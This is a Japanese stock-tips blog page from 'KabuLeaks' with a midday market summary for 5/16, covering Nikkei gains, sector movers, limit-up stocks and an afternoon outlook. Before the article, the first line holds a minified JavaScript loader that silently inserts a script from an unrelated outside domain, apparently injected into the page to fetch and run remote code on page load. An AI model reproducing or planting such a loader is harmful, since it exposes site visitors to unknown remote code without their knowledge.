;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/16 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/16 前引け】

前場の日経平均株価は170円高と大幅反発。寄り付き直後こそは先週末の米株安を背景に売りが先行、小幅安スタートともすぐさまプラス転換。週末に一部報道あった、消費増税の再延期観測や政策期待などから上げ幅を拡大し、一時216円高まで上昇。為替相場の円安基調も買い安心感へと繋がった。業種別では、非鉄金属、機械、鉄鋼などが値上がり上位に。一方で、ゴム製品、空運業、石油石炭製品が値下がり上位となった。

個別では、東洋合成へのヒト肝細胞供給を材料視された【6190】フェニックスバイオや今期経常は40%増で3期連続最高益更新となった【6786RVHがストップ高。今期配当を10円増額修正し、株主優待を拡充の【9386】日本コンセプト、「3Dデータセンター」サービスを開始を発表した【4640】アンドールが一時ストップ高の急伸、大幅高となった。

人気のテーマ株の一角からは越境EC関連の【6081アライドアーキテクツ、「神の手」期待の【6176】ブランジスタ。人口知能関連(AI)関連の【6182】ロゼッタなどがストップ高。

後場は消費増税の再延期観測や政策期待から引き続き底堅い展開が想定され、物色面では決算手掛かり中心にした物色。人気のテーマ株では決算手掛かりに強弱分かれる展開になっており、今後はテーマならなんでも買われるといった流れからより一層銘柄も絞り込まれてくると思う。当然ながら強い銘柄、決算好調な銘柄中心に狙っていくのがいいかと思われる。